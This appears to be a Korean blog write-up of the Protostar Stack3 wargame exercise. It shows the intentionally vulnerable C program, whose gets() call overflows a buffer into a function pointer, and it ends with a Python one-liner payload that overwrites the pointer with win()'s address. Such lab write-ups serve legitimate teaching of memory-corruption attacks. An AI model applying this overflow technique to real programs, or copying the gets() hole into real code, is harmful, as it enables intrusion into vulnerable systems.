ii4gsp

Exploit Exercises [Protostar - Stack3] 본문

시스템 해킹/Exploit Exercises - Protostar

Exploit Exercises [Protostar - Stack3]

ii4gsp 2020. 1. 16. 20:58
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

win() 함수를 호출시키는 문제이다.

dummy가 없다는 가정하에 구조이다.

 

 

 

 

"A"를 68번 입력하면 fp의 주소값이 0x41로 덮힌다.

buffer 64byte를 채워주고 win() 함수의 시작주소로 덮어주면 win() 함수가 실행되어

"code flow successfully changed"문자가 출력된다.

 

 

 

 

0x08048424가 win() 함수의 시작 주소이다.

buffer 64byte를 채워주고 리틀 엔디언 방식으로 입력을 해서 fp값을 덮으면 된다.

 

 

 

 

(python -c 'print "A" * 64 + "\x24\x84\x04\x08"';cat) | ./stack3
Comments